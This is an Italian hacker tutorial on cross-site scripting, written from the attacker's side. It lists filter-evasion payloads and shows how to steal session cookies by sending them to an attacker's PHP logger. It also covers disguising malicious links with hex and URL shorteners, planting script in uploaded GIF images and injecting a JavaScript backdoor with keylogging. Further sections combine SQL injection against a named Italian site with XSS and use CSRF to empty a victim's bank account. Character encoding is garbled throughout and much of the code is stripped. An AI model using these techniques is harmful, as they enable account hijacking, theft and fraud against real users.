.____________________________________. |+----------------------------------+| || --//XSS:Cross Site Scripting//-- || || [!] || || c0de by || || XaDoS & MassaKretor || |+----------------------------------+| *^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^* [!]Indice: 1. Cosa sono le XSS 2. Come utilizzarle + cheats 3. Analisi di un attacco 4. Come eludere i filtri 5. Sfruttare le XSS con un Cookie Grabber 6. Offuscamento dell'url 7. XSS non Sfruttabili 8. Altri tipi di XSS 9. Eseguire Codice Remoto 10. XSS W0rm 11. JavaScript Shell: inniettare una Backdoor tramite XSS 12. SQL + XSS =... le XFS 13. CSRF o XSRF: Cross Site Request Forgery / Sea Surf 14. Post_fazione + ringraziamenti //Start-0x01\\ [+]Cosa Sono Le vulnerabilit‡ di tipo Cross Site Scripting ( XSS ) sono vulnerabilit‡ che affliggono davvero una mole di siti web dinamici e fanno parte della famiglia dei Code Injection. Le XSS non sono nient'altro che una modifica dei parametri HTTP GET e HTTP POST attraverso l'esecuzione di codice Javascript a livello di url, inserito opportunamente in una variabile o pi˘. [+] How To: Come Utilizzarle In se scoprire un' XSS non Ë un'impresa difficile, e per sfruttarla basta semplice codice javascript... L'esempio pi˘ comune Ë il classico: "> Analizziamolo: "> non fa altro che chiudere il tag della richiesta. invece comprede il codice javascript da eseguire, in questo caso alert('prova') che a sua volta non fa altro che far apparire a schermo un Alert con scritto 'prova'. Se vedete apparire l'alert, vuol dire che siete in grado di inserire codice javascript e che il sito non filtra bene le richieste, insomma: Ë vulnerabile. Vediamo se Ë possibile visualizzare i nostri Cookie in un Alert: "> Se nell'alert appaiono i nostri cookie allora vuol dire che il sito Ë completamente vulnerabile, cioË possiamo indurre il browser a fare tra le pi˘ svariate operazioni, ad esempio salvare i Cookie stampati a schermo su un nostro spazio web, oppure creare una codice che redirecti la vittima su un sito scelto da noi. Tutto questo nel migliore dei casi, altrimenti basta analizzare l'url e modificare leggermente il nostro codice Javascript, inserendo al posto della normale stringa altro tipo di codice, esistono centinaia di cheat sheet su internet, qui riporto le pi˘ aggiornate ed usate: ipt>alert('XSS');ipt> alert(\"XSS\")'); ?> "> "> </textarea> '); alert('XSS [url=javascript:alert('XSS');]click me[/url] window.alert("Bonjour !");
onload=alert('XSS')> "> '">>

XSS

 alert("XSS")'?> " onfocus=alert(document.domain) "> <"
  • XSS perl -e 'print \"alert(\"XSS\")\";' > out perl -e 'print \"\";' > out
    alert(1)
    "> [color=red width=expression(alert(123))][color] Execute(MsgBox(chr(88)&chr(83)&chr(83)))< "> '"> </textarea>'"> '""> <<< '> '>"> } a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d); ='> "+src="http://yoursite.com/xss.js?69,69"> > ">/XaDoS/> data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= [+]Analisi di un attacco Il sito www.caziotio.it ha un campo search, proviamo a cercare il nostro codice javascript e l'url generato dovrebbe essere cosÏ: http://www.caziotio.it/default.asp?rif=1&tiporicerca=2&strRicerca1= %22%3E%3Cscript%3Ealert('prova');%3C/script%3E&strRicerca2= &strRicerca3=&sel1=AND&sel2=AND&RicInt1=1&RicInt2=0&RicInt3=0 Vediamo che la variabile strRicerca1 contiene il nostro codice. Proviamo a Passarlo direttamente e togliere le parti superflue: http:www.caziotio.it/default.asp?rif=1&tiporicerca=2&str Ricerca1="> Ecco che ìForseî vedremo i nostri cookie apparire a schermo. [+]Come Eludere I Filtri Molte volte i fitltri si occupano semplicemente di cancellare o alterare, se presenti, determinati simboli o parole, tipo chessÚ aggiungere uno ì/ ì se il primo carattere Ë ì<î, oppure altri metodi non molto efficaci e facilmente oltrepassabili. Il metodo pi˘ classico per eludere certi filtri Ë chiudere il tag, aggiungendo ì> prima del codice da eseguire. Molte molte invece ci si trova davanti ad un filtro creato con una semplice stringa del tipo: $var = str_replace (" o Come detto sopra ci sono moltissime cheat sheet su internet e poi basta imparare il javascript e con poche modifiche si riescono ad eludere filtri apparentemente impossibili, dipende tutto da voi e dalla vostra fantasia. [+]Sfruttare XSS Con Un Cookie Grabber Indubbiamente il metodo pi˘ usato e il pi˘ ìefficaceî. Consiste nell'includere un file javascript nella variabile che viene stampata, il quale file richiama una pagina in php che si occupa di loggare i Cookie dell'user che apre il link appositamente preparato. Praticamente: Codice Javascript: "> All'interno del file cookiescript.js ci scriveremo il codice che passa il Cookie ad una pagina php: Il file cookie.php invece conterr‡ il codice php che si occupa di farci recapitare il cookie: Uppato il tutto l'url sar‡ all'incirca: http://www.caiotizio.it/default.asp?rif=1&tiporicerca=2&strRicerca1="> [+]Offuscamento dell'url Ora dobbiamo occuparci di come nascondere l'url sopra descritta in modo tale che un utente normale non si accorga di nulla (molte persone non si accorgono neppure di un link con all'interno del javascript code ben in vista,comunque noi facciamo le cose per bene) Abbiamo diverse opzioni: 1#-- P0ssiamo nascondere l'url attraverso alcuni servizi quali tinyurl(www.tinyurl.com),che ci permette di rendere un qualsiasi indirizzo web qualcosa del tipo: http://tinyurl.com/2rery1 2#-- Possiamo convertire l'intera url in hex: http://www.caiotizio.it/default.asp?rif=1&tiporicerca=2&strRicerca1=223e3c736372697074207372 633d22687474703a2f2f7777772e6e6f7374726f7369746f2e636f6d2f636f6f6b69657363726970742e6a73223e 3c2f7363726970743e In questo modo sembrer‡ un normalissimo link. Se L'utente aprir‡ il link e tutto va a bu0n fine vedremo nella nostra casella postale i c00kie della vittima in questi0ne. [+]XSS Non Sfruttabili Alcuni siti web hanno avuto almeno la furbizia di filtrare le richieste HTTP POST ed HTTP GET in modo da non consentire redirect e quindi furto di Cookie. PerÚ se riusciamo comunque ad eseguire del codice esterno, possiamo tuttavia creare una pagina web simile a quella originale ed usarla per appropiarci di password o altri dati sensibili. Esempio: Pagina da includere: http://vuln.xssed.net/thirdparty/scripts/ckers.org.js L'url del sito sar‡: http://sitovittima.it/paginavulnerabile.php?varvuln="> La pagina in js, se il sito non filtra, puÚ anche essere scritta in HTML, e sar‡ quindi http://sitodelpoverocaio.it/paginavulnerabile.php?varvuln="> In questo modo all'url creato corrisponder‡ la pagina che in js ( o HTML ) che abbiamo incluso. [+]Altri tipi di XSS: CHi ha mai dett che in una xss possiamo solo inserire un testo o far comparire un alert o giocare con i cookie..? POssiamo fare molte altre cose come includere immagini,video,redirect e quant'altro.. Ecco qui di seguito una piccola lista di codice Javascript alternativo: Stampare un'immagine nella pagina vulnerabile: Visualizzare un video: Redirect verso un altra pagina web\video\immagine: *al posto di ../pagina.html possiamo mettere tutto: video.swf / img.png / ecc.. [+]Eseguire Codice Remoto Supponiamo che tutti i metodi provati falliscano. C'Ë sempre una scappatoia. I filtri bloccano i caratteri HTML contenuti nelle variabili di testo. E se il codice Ë inserito in un'immagine? Non c'Ë problema, possiamo inserire codice Javascript nell'immagine stessa: Prima di tutto dobbiamo identificare l'estensione dell'immagine(gif,bmp,jpg..), una volta trovata apriamo l'immagine con un editor di testo qualunque (blocco Note per windows e kwrite per linux) Ci troveremo davanti ad un codice lunghissimo del genere: (esempio codice di un immagine .gif): GIF89aÌ ^˜˚ /%,4*,30+1.5I3M7f/K2e21N46hD:5I7J6;d6FTKlau4JQ3Oj9eR8dmMK2M.O15jl0n0m45HIRkN3MO8ieHj7Lh:mQJO O6RcSg6pGoL6jpjp6PMOOPnThNRjnnNPmQmnnOono48à >>§VÅfÅ ~π6Nå9Tß8gè7l©3t≈d9éPRãTU©RmèTo™nPíuS©poèsn≠QSƒXk«rW∆tq«wtÊYÉ6|Åsã6s•=WÑNXÉptäNsâpxßQv©nxÃd6 è±/ûÃUÖìUåÆP•ïrãêsç≠y¶ìvß±t°Ã|›®w≈◊ó65ó8MëJèM6îqèm8±QÆN7¨m∞k7éQNçTlêlRènoÆQMÆTmØnRÆqoÃ97«9LÕ X8…RM…Uj oRÀsoÁTL‰VmÂqQÊsní5û•4–äUèà U¨èqèën±¨Wå≠T±Æté¨u≠ùp……:±«4—ÕtëÀp“üá åî8ñ®:Æé7ÆÆ8êìOëèoñ©Pñ™n∞éS∞éq¨ØRØØo¥»7ó«Ró…mçÂZó‰f±≈S¥∆p¨Âsÿ°6ÃéUŒêpÕ´U–¨oÂèUÂìpÁ≠TÊ≠p·Ã5…» R……r›ÁN–‰wÏÕMÍ…sÛÏVıÚsëèëëêÆï™íï¨∞∞èêÆìÆ∞Æë∞Ø∞îë ñïÂî∞Ãî≥ÂÆíÃ¥îÂ∞∞ñ±Êô«ìò»±êÓõïÔÆ¥»ë≤…±¥„î± Í±ò»œó ÂöÁŒñÊαÌ≤ŒÁ∂‰–∂ÊÍÃíè ï¨œ≠íŒ∞ÆÊïçËñ´ÊØíÁ≥≠«ñÕ…óÍÀ≤ÀŒØÓËï „íÒÁ¥…Â≥ˆÕÃîœÃ∞‘Âó‘Â∞ÈÃïËÕ∞ ÍÁòÎȱ՜ŒŒ—Ë—Ê—“ÁÍÈ—ŒÈ“ÏÏÍ–ÓÓ !ˇ NETSCAPE2.0 !˘ ˇ , Ì ^ ˛ [ecc.......] L'importante Ë notare i primi caratteri, poichË sono sempre gli stessi: GIF89a Ora cancelliamo tutto tranne questi pochi caratteri iniziali(che servono per riconoscere ed accettare questo file come .gif) Ed inseriamo l'ormai famoso codice Javascript: GIF89a Ora salviamo l'immagine (sempre in .gif) e facciamo l'upload sul sito vittima / forum / sezione commenti .. Ora questa xss Ë diventata permanente poichË chiunque vada sull'url contenente questa immagine.gif potr‡ oservare il nostro alert! (Mozilla FireFox non mostra sempre questi tipi di alert, IE invece si) Ricordiamoci che per ogni estensione di immagine quei pochi caratteri cambiano, qui vi riporto una lista dei suddetti caratteri: -PNG = âPNG -GIF = GIF89a -JPG = ˇÿˇ‡ JFIF -BMP = BMF÷ [+] XSS W0rm: Questo Ë un argomento non molto sviluppato proprio perchË Ë ancora in fase di sviluppo, basti pensare infatti che il primo w0rm legato alle XSS Ë nato nel 2005 e si chiamava Samy; Samy era un w0rm per myspace,e per evitare le restrizioni del provider, che non consente l'upload di javascript, l'utente ha inserito lo script nei CSS e Internet Explorer ha fatto il resto. Il codice, infatti, avrebbe dovuto essere considerato un CSS non valido, ma IE lo ha eseguito e lo ha fatto propagare per i membri della community. Attraverso questo verme Samy ha infettato pi˘ di un milione di account e continuava a replicarsi aggiungendo amici al profilo dell utente creatore del w0rm.(alle 9.30 della stessa notte le richieste erano milioni e continuavano ad affluire ogni millesimo di secondo, cosÏ facendo myspace Ë caduto ed Ë andato offline) Code of Samy:
    Ora, senza stare a spiegare riga per riga possiamo capire che i w0rm xss sono pericolosi per sistemi e community quali myspace,yahoo ecc.. Vi basti pensare che in tutto i w0rm si contano sulle dita: DATA: NOME W0RM BERSAGLIO 01/11/2008 New Orkut Worm Orkut 08/07/2008 JustinTV Worm Justin TV 24/01/2008 Yamanner Yahoo! Mail Service 24/01/2008 hi5 Worm hi5 24/01/2008 Gaia Worm Gaiaonline 24/01/2008 Orkut Worm Orkut 24/01/2005 Samy Worm Myspace Non reputo ci sia molto altro da dire, per questo argomento non ci sono regole o tutorial, ognuno dovrebbe riuscire a trovare una vulnerabilit‡ che gli permetta di inserire codici simili a questie comunque sia, non Ë una cosa che personalmente mi interessa. [+] JavaScript Shell - XSS & Backdoor Ora parliamo di una cosa m000lto c00l!! ;-) Sfruttiamo una vulnerabilit‡ XSS per inniettare una backdoor a discapito di un povero user vittima. Procedimento: Grazie ad un apposito tool creato da Inj3ct-it crew possiamo fare qualcosa di molto pi˘ pericoloso che un semplice alert, anche questa Ë una delle tecniche che le persone non conoscono con le XSS e cosÏ facendo, restando ingnoranti, e le sottovalutano. Requisiti 2 files: -JsBack.php (from Inj3ct-it) -shell.js (from Inj3ct-it) Come primo passo dobbiamo uplodare sul nostro sito i 2 files jsback.php & shell.js, e modificare le impostazioni iniziali( password e username per accedere nel file jsback.php mentre in shell.js dobbiamo settare l'url e altro(troverete istruzioni dettagliate all'interno dello stesso)). Adesso supponiamo di aver trovato un xss su un sito che ci permette di includere javascript code, possiamo quindi scrivere: http://sitovittima.com/vuln.php?x=1">/XaDoS/> facendo cliccare come al solito alla vittima il nostro cattivissimo indirizzo questa volta succeder‡ qualcosa di diverso: Essendo l'utente collegato e loggato ad il sitovittima in questione attraverso la shell.js nella nostra pagina privata jsback.php ci appariranno i suoi cookies! ma non solo: il suo ip, informazioni riguardanti la sua macchina ecc.. in pi˘ grazie a questa particolare pagina ci sono altre funzioni come keylogger/esecuzione comandi/proxy/ CSRF(di cui tratterÚ nel prossimo capitolo) ecc che perÚ potrete vedere sul sito degli autori (Inj3ct-it). Capite quindi che .. non si scherza con le XSS !! ;-) [!] Le XSS stanno sempre bene con le SQL: una dentro l'altra Quanti di voi sanno quanto spesso cpaita che uno trovi una SQL e scopri in seguito che la stessa variabile buggata Ë vuln a XSS; oppure, ancora meglio, quante volte capita che ci si trova davanti ad una XSS e poco dopo trovi qualcuno che ti dice:"hey! ma qui c'Ë un sql!"( s3rg3770 :) ) Bene possiamo quindi giungere alla conclusione che stanno bene insieme. Ma se vi dicessi che UNa puÚ perfino stare dentro l'altra? suona strana come frase vero.. VI spiego bene: Semplicemente una volta trovata una sql, possiamo benissimo usare il nostro solito comando char() in modo un po' stravagante: come sappiamo di solito inseriamo del codice, convertito in ASCII. Ma allora se provassimo ad inserire codice JavaScript ?? su, proviamoci. Passiamo subito al codice: abbiamo la nostra tipica XSS: e vorremmo inserirla nell'SQL..ma ricordiamoci che dobbiamo convertirla in ASCII per far si che ritorni l'alert; quindi attraverso un normalissimo ASCII converter nel web la convertiamo in: 60 115 99 114 105 112 116 62 97 108 101 114 116 40 39 120 115 115 98 121 88 97 68 111 83 39 41 60 115 99 114 105 112 116 62 bene. ora sfruttiamo un po' di conoscenze in ambito sql, cmoe sappiamo dovremo separare i numeri da virgole, al posto degli spazi in questo modo: 60,115,99,114,105,112,116,62,97,108,101,114,116,40,39,120,115,115,98,121,88,97,68,111,83,39, 41,60,115,99,114,105,112,116,62 ora possiamo metterlo dentro il nostro comandino magico.. char(60,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,98,121,120,97,100,111,115, 39,41,60,47,115,99,114,105,112,116,62) ed ora..bhe, riprendiamo la nostra SQL ex. http://www.aslromah.it/news/home_notizia.php?ID_News=-99%20union%20all%20select%201,2,3,4,5, 6,7,8,910,11,12-- leggiamo il numero in cui printera i risultati, nel nostro caso il 4, ed inseriamo il codice ascii.ORA dovremmo avere: http://www.aslromah.it/news/home_notizia.php?ID_News=-99%20union%20all%20select%201,2,3,char (60,83,67,82,73,80,84,62,97,108,101,114,116,40,39,120,115,115,98,121,120,97,100,111,115,39,4 1,60,47,115,99,114,105,112,116,62),5,6,7,8,9,10,11,12-- linkate..eh...puff appere il nostro alert dentro l'SQL. Semplicemente inutile ma.. divertente. [!] CSRF o XSRF: Cross Site Request Forgery Ora che abbiamo concluso con le XSS vorrei presentare un attacco simile ma non certamente uguale alle XSS, pi˘ potente Ë pi˘ dannoso per un ignara vittima. Innanzitutto bisogna capire la sostanziale differernza tra le XSS e le CSRF: Ë molto semplice, mentre le Xss si basano sullo spingere un determinato user a cliccare su un url maligna in modo tale da prelevare i suoi cookies o le sue informazioni di accesso ad un sito web, Le CSRF si basano sullo sfruttamento di un user vittima che, essendo loggato ad un determinato sito, ci permette di eseguire codici maligni attraverso il suo stesso account. Proprio per questo Ë una tecnica pi˘ difficile da individuare ed eliminare per un admin, poichË tutte le azioni commesse risulteranno eseguite da un user qualunque(la nostra vittima,che non sospetta di nulla). Riassumendo quindi le Cross Site Request Forgery ci permettono di spedire qualunque tipo di richiesta HTTP ad un sito attraverso una specifica vittima che compier‡ ogni azione per noi a suo discapito. Vediamo ora pi˘ nel dettaglio questo tipo di tecnica: Ipotizziamo( e scrivo ipotizziamo perchË se fosse cosÏ semplice sarei miliardario) che un utente Ë loggato ad un sito che permette di avere alcuni servizi speciali quali il possesso di un conto bancario ed il trasferimento di soldi ($.$). Avendo quindi un normale account il sito permette a questa persona di eseguire alcune transazioni monetarie. Il codice quindi di una pagina per trasferire soldi in un servizio di e-banking potrebbe essere in generale:
    Quanto trasferisci:
    A:
    lol:
    asd:
    omg:
    attraverso queste righe un user puÚ trasferire denare su un diverso account bancario (nella realt‡ non Ë cosÏ semplice ma Ë solo per farvi capire) Quando l'utente spedisce la richiesta la pagina spediscieuro.php eseguir‡ il trasferimento, attraverso un codice del tipo: /* spediscieuro.php */ Ora un attaccante, grazie ai REQUEST potrebbe usufruire di richieste GET maligne, per spedire i soldi in un determinato posto , rubandoli. Ora arriva la parte importante: Noi attaccanti dobbiamo riuscire a dirigere l'utente, mentre Ë loggato alla banca, su una pagina web nostra o anche su un immagine o video.. esempio:(mentre l'utente sta guardando il suo ammontare per esempio..) ATTACCANTE:"Vieni a vedere questa bellssima foto! Link: http://sitonostro/immagine.html" Ora la pagina ../immagine.html dovrebbe essere struttura pi˘ o meno cosÏ: Immagine bellissima Come potete osservare da soli, l'utente mentre guarda l'immagine bellissima Ë contemporaneamente collegato alla banca ed eseguir‡ ignaro di tutto un trasferimento di TUTTI i suoi soldi verso HACKER(attaccante). Ora avete capito? qui sta la bellezza di questi tipi di attacco: Ë l'utente che tramite i suoi cookie e il suo account esegue richieste HTTP pi˘ o meno dannose per noi(in questo caso direi m0lto dannose!!). Ora, probabilmente nessuna banca Ë cosÏ stupida da usare richieste come REQUEST ma probabilmente userebbe per un transito monetario richieste POST. In questo caso la nostra pagina immagine.html sarebbe diventata: Immagine bellissima